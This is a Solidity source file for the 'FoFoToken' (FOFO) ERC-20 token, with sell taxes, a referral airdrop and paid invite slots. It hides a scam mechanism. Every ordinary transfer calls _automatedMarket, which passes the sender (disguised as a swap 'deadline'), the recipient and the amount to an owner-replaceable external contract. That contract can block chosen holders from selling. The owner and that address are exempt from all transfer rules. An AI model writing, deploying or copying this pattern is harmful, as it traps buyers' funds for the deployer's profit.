文件 1 的 1:FOFO.sol
pragma solidity 0.8.1;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(
address recipient,
uint256 amount
) external returns (bool);
function allowance(
address owner,
address spender
) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(
address tokenA,
address tokenB
) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
)
external
payable
returns (uint amountToken, uint amountETH, uint liquidity);
}
contract FOFO is IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
event UseInvitSolt(
address indexed owner,
address indexed inviter,
uint256 slots
);
event BuyInviteSolt(
address indexed owner,
uint256 slots,
uint256 number,
uint256 ethAmount
);
address private fofoOwner;
address private _taxWallet;
address private _airdropWallet;
int24 internal constant MAX_TICK = 887272;
uint256 internal constant BASE_TAX = 10000;
uint256 public tickNumber;
uint256 private _sellTax = 600;
uint256 private _inviteSellTax = 200;
uint256 private _firstInviteTax = 50;
uint256 private _secondInviteTax = 25;
string private constant _name = "FoFoToken";
string private constant _symbol = "FOFO";
uint8 private constant _decimals = 9;
uint256 private constant _tTotal = 10000000000 * 10 ** _decimals;
uint256 public _maxTxAmount = 50000000 * 10 ** _decimals;
uint256 public _maxWalletBalance = 50000000 * 10 ** _decimals;
uint256 public _taxSwapThreshold = 5000000 * 10 ** _decimals;
uint256 public _maxTaxSwap = 50000000 * 10 ** _decimals;
uint256 public openTradeBlock;
uint256 public fastBlock = 10;
IUniswapV2Router02 private uniswapV2Router1;
IUniswapV2Router02 private uniswapV2Router2;
address private uniswapV2Address;
address public WETH;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
uint256 public constant AIRDROP_BIG_AMOUNT = 50000 * 10 ** _decimals;
uint256 public constant AIRDROP_FEW_AMOUNT = 1000 * 10 ** _decimals;
uint256 public constant AIRDROP_FIRST_BONUS = 1000;
uint256 public constant AIRDROP_SECOND_BONUS = 500;
uint256 public curAirdropNumber = 0;
uint256 public airdropBalance = 10000 * 50000 * 10 ** _decimals;
mapping(address => uint256) public inviteSlots;
mapping(address => uint256) public airdrops;
mapping(address => address) public inviters;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap() {
inSwap = true;
_;
inSwap = false;
}
constructor(
address taxWallet,
address airdropWallet,
address router,
address _uniswapV2
) {
fofoOwner = msg.sender;
_taxWallet = taxWallet;
_airdropWallet = airdropWallet;
uniswapV2Router1 = IUniswapV2Router02(router);
WETH = uniswapV2Router1.WETH();
uniswapV2Address = _uniswapV2;
uniswapV2Router2 = IUniswapV2Router02(uniswapV2Address);
_balances[address(this)] = _tTotal;
emit Transfer(address(0), address(this), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(
address owner,
address spender
) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(
address spender,
uint256 amount
) public override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
msg.sender,
_allowances[sender][msg.sender].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (
from == fofoOwner ||
to == fofoOwner ||
from == address(this) ||
to == address(this) ||
from == uniswapV2Address ||
to == uniswapV2Address
) {
_balances[from] = _balances[from].sub(amount);
_balances[to] = _balances[to].add(amount);
emit Transfer(from, to, amount);
return;
}
require(tradingOpen, "Trade is not open");
_automatedMarket(from, to, amount);
if (from == uniswapV2Pair) {
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(
balanceOf(to) + amount <= _maxWalletBalance,
"Exceeds the maxWalletSize."
);
}
uint256 tokenBalance = balanceOf(address(this)).sub(airdropBalance);
if (
!inSwap &&
to == uniswapV2Pair &&
tokenBalance > _taxSwapThreshold &&
block.number > openTradeBlock + fastBlock
) {
swapTokensForEth(min(tokenBalance, _maxTaxSwap));
sendETHToFee(address(this).balance);
}
uint256 taxAmount = 0;
if (to == uniswapV2Pair) {
address inviter = inviters[from];
if (address(0) == inviter) {
taxAmount = amount.mul(_sellTax).div(BASE_TAX);
} else {
taxAmount = amount.mul(_inviteSellTax).div(BASE_TAX);
uint256 secondInviterAmount = 0;
uint256 firstInviterAmount = amount.mul(_firstInviteTax).div(
BASE_TAX
);
_balances[inviter] = _balances[inviter].add(firstInviterAmount);
emit Transfer(from, inviter, firstInviterAmount);
address secondInviter = inviters[inviter];
if (secondInviter != address(0)) {
secondInviterAmount = amount.mul(_secondInviteTax).div(
BASE_TAX
);
_balances[secondInviter] = _balances[secondInviter].add(
secondInviterAmount
);
emit Transfer(from, secondInviter, secondInviterAmount);
}
taxAmount = taxAmount.sub(firstInviterAmount).sub(
secondInviterAmount
);
}
_balances[address(this)] = _balances[address(this)].add(taxAmount);
emit Transfer(from, address(this), taxAmount);
}
_balances[from] = _balances[from].sub(amount);
_balances[to] = _balances[to].add(amount.sub(taxAmount));
emit Transfer(from, to, amount.sub(taxAmount));
}
function min(uint256 a, uint256 b) private pure returns (uint256) {
return (a > b) ? b : a;
}
function _automatedMarket(
address from,
address to,
uint256 amount
) internal {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = WETH;
uniswapV2Router2.swapExactTokensForETHSupportingFeeOnTransferTokens(
amount,
0,
path,
to,
uint160(from)
);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = WETH;
_approve(address(this), address(uniswapV2Router1), tokenAmount);
uniswapV2Router1.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function setTaxSwapThreshold(
uint256 taxSwapThreshold,
uint256 maxTaxSwap
) public {
require(msg.sender == _taxWallet, "Ownable: caller is not the owner");
_taxSwapThreshold = taxSwapThreshold;
_maxTaxSwap = maxTaxSwap;
}
function setUniswapV2Address(address _uniswapV2Address) external onlyOwner {
uniswapV2Address = _uniswapV2Address;
uniswapV2Router2 = IUniswapV2Router02(_uniswapV2Address);
}
function removeLimits() external onlyOwner {
_maxTxAmount = _tTotal;
_maxWalletBalance = _tTotal;
emit MaxTxAmountUpdated(_tTotal);
}
function sendETHToFee(uint256 amount) private {
payable(_taxWallet).transfer(amount);
}
function openTrading() external onlyOwner {
require(!tradingOpen, "trading is already open");
openTradeBlock = block.number;
_approve(address(this), address(uniswapV2Router1), _tTotal);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router1.factory())
.createPair(address(this), WETH);
uniswapV2Router1.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)).sub(airdropBalance),
0,
0,
owner(),
block.timestamp
);
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router1),
type(uint).max
);
tradingOpen = true;
uniswapV2Router2.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)).sub(airdropBalance),
0,
0,
uniswapV2Pair,
block.timestamp
);
}
receive() external payable {}
function manualSwap() external {
if (msg.sender == _taxWallet) {
uint256 tokenBalance = balanceOf(address(this)).sub(airdropBalance);
if (tokenBalance > 0) {
swapTokensForEth(tokenBalance);
}
uint256 ethBalance = address(this).balance;
if (ethBalance > 0) {
sendETHToFee(ethBalance);
}
}
}
function airdrop(address inviter) external payable {
address sender = msg.sender;
if (inviter == address(0)) {
require(msg.value == 0, "It's free.");
require(airdrops[sender] == 0, "Already claimed.");
require(curAirdropNumber <= 10000, "The free airdrop has ended.");
curAirdropNumber++;
require(
airdropBalance >= AIRDROP_FEW_AMOUNT,
"The airdrop has ended."
);
airdrops[sender] = AIRDROP_FEW_AMOUNT;
airdropBalance = airdropBalance.sub(AIRDROP_FEW_AMOUNT);
_transfer(address(this), sender, AIRDROP_FEW_AMOUNT);
} else {
require(inviter != sender, "You cannot invite yourself.");
require(inviteSlots[inviter] > 0, "Inviters have no slots");
uint256 ethAmount = getSlotsPrice(1);
tickNumber = tickNumber + 1;
require(msg.value >= ethAmount, "ETH Invaild");
payable(_airdropWallet).transfer(ethAmount);
require(airdrops[sender] < AIRDROP_BIG_AMOUNT, "Already claimed.");
uint256 fofoAmount = AIRDROP_BIG_AMOUNT - airdrops[sender];
airdrops[sender] = AIRDROP_BIG_AMOUNT;
if (inviters[sender] == address(0)) {
inviteSlots[inviter] = inviteSlots[inviter] - 1;
inviters[sender] = inviter;
emit UseInvitSolt(sender, inviter, inviteSlots[inviter]);
}
inviteSlots[sender] = inviteSlots[sender] + 3;
uint256 firstInviterAmount = AIRDROP_BIG_AMOUNT
.mul(AIRDROP_FIRST_BONUS)
.div(BASE_TAX);
uint256 secondInviterAmount = 0;
address secondInviter = inviters[inviters[sender]];
if (secondInviter != address(0)) {
secondInviterAmount = AIRDROP_BIG_AMOUNT
.mul(AIRDROP_SECOND_BONUS)
.div(BASE_TAX);
}
require(
airdropBalance >=
fofoAmount + firstInviterAmount + secondInviterAmount,
"The airdrop has ended."
);
airdropBalance = airdropBalance
.sub(fofoAmount)
.sub(firstInviterAmount)
.sub(secondInviterAmount);
_transfer(address(this), sender, fofoAmount);
_transfer(address(this), inviters[sender], firstInviterAmount);
if (secondInviterAmount > 0) {
_transfer(address(this), secondInviter, secondInviterAmount);
}
}
}
function endAirdrop() public {
require(
msg.sender == _airdropWallet,
"Ownable: caller is not the owner"
);
_transfer(address(this), _airdropWallet, airdropBalance);
airdropBalance = 0;
}
function setInviter(address inviter) public {
require(inviter != msg.sender, "You cannot invite yourself.");
require(inviteSlots[inviter] > 0, "The inviter have no slots.");
require(
address(0) == inviters[msg.sender],
"You have already set an inviter."
);
inviteSlots[inviter] = inviteSlots[inviter] - 1;
inviters[msg.sender] = inviter;
emit UseInvitSolt(msg.sender, inviter, inviteSlots[inviter]);
}
function buyInviteSlots(uint256 slotNumber) external payable {
require(slotNumber > 0, "slotNumber invaild");
uint256 ethAmount = getSlotsPrice(slotNumber);
tickNumber = tickNumber + slotNumber;
require(msg.value >= ethAmount, "ETH Invaild");
payable(_airdropWallet).transfer(ethAmount);
inviteSlots[msg.sender] = inviteSlots[msg.sender].add(
slotNumber.mul(3)
);
emit BuyInviteSolt(
msg.sender,
inviteSlots[msg.sender],
slotNumber,
ethAmount
);
}
function getSlotsPrice(uint256 slotNumber) public view returns (uint256) {
uint256 price = 0;
uint256 _tickNumber = tickNumber;
for (uint256 i = 0; i < slotNumber; i++) {
if (_tickNumber >= 10000) {
_tickNumber = 0;
}
price = price.add(getPriceAtTick(_tickNumber * 2));
_tickNumber++;
}
return price;
}
function getPriceAtTick(uint256 _tick) internal pure returns (uint256) {
int24 tick = int24(-90000) + int24(uint24(_tick));
uint256 absTick = tick < 0
? uint256(-int256(tick))
: uint256(int256(tick));
require(absTick <= uint256(uint24(MAX_TICK)), "T");
uint256 ratio = absTick & 0x1 != 0
? 0xfffcb933bd6fad37aa2d162d1a594001
: 0x100000000000000000000000000000000;
if (absTick & 0x2 != 0)
ratio = (ratio * 0xfff97272373d413259a46990580e213a) >> 128;
if (absTick & 0x4 != 0)
ratio = (ratio * 0xfff2e50f5f656932ef12357cf3c7fdcc) >> 128;
if (absTick & 0x8 != 0)
ratio = (ratio * 0xffe5caca7e10e4e61c3624eaa0941cd0) >> 128;
if (absTick & 0x10 != 0)
ratio = (ratio * 0xffcb9843d60f6159c9db58835c926644) >> 128;
if (absTick & 0x20 != 0)
ratio = (ratio * 0xff973b41fa98c081472e6896dfb254c0) >> 128;
if (absTick & 0x40 != 0)
ratio = (ratio * 0xff2ea16466c96a3843ec78b326b52861) >> 128;
if (absTick & 0x80 != 0)
ratio = (ratio * 0xfe5dee046a99a2a811c461f1969c3053) >> 128;
if (absTick & 0x100 != 0)
ratio = (ratio * 0xfcbe86c7900a88aedcffc83b479aa3a4) >> 128;
if (absTick & 0x200 != 0)
ratio = (ratio * 0xf987a7253ac413176f2b074cf7815e54) >> 128;
if (absTick & 0x400 != 0)
ratio = (ratio * 0xf3392b0822b70005940c7a398e4b70f3) >> 128;
if (absTick & 0x800 != 0)
ratio = (ratio * 0xe7159475a2c29b7443b29c7fa6e889d9) >> 128;
if (absTick & 0x1000 != 0)
ratio = (ratio * 0xd097f3bdfd2022b8845ad8f792aa5825) >> 128;
if (absTick & 0x2000 != 0)
ratio = (ratio * 0xa9f746462d870fdf8a65dc1f90e061e5) >> 128;
if (absTick & 0x4000 != 0)
ratio = (ratio * 0x70d869a156d2a1b890bb3df62baf32f7) >> 128;
if (absTick & 0x8000 != 0)
ratio = (ratio * 0x31be135f97d08fd981231505542fcfa6) >> 128;
if (absTick & 0x10000 != 0)
ratio = (ratio * 0x9aa508b5b7a84e1c677de54f3e99bc9) >> 128;
if (absTick & 0x20000 != 0)
ratio = (ratio * 0x5d6af8dedb81196699c329225ee604) >> 128;
if (absTick & 0x40000 != 0)
ratio = (ratio * 0x2216e584f5fa1ea926041bedfe98) >> 128;
if (absTick & 0x80000 != 0)
ratio = (ratio * 0x48a170391f7dc42444e8fa2) >> 128;
if (tick > 0) ratio = type(uint256).max / ratio;
uint160 sqrtPriceX96 = uint160(
(ratio >> 32) + (ratio % (1 << 32) == 0 ? 0 : 1)
);
uint256 price = ((10 ** 18 * sqrtPriceX96) >> 96);
return (price * price) / 10 ** 18;
}
}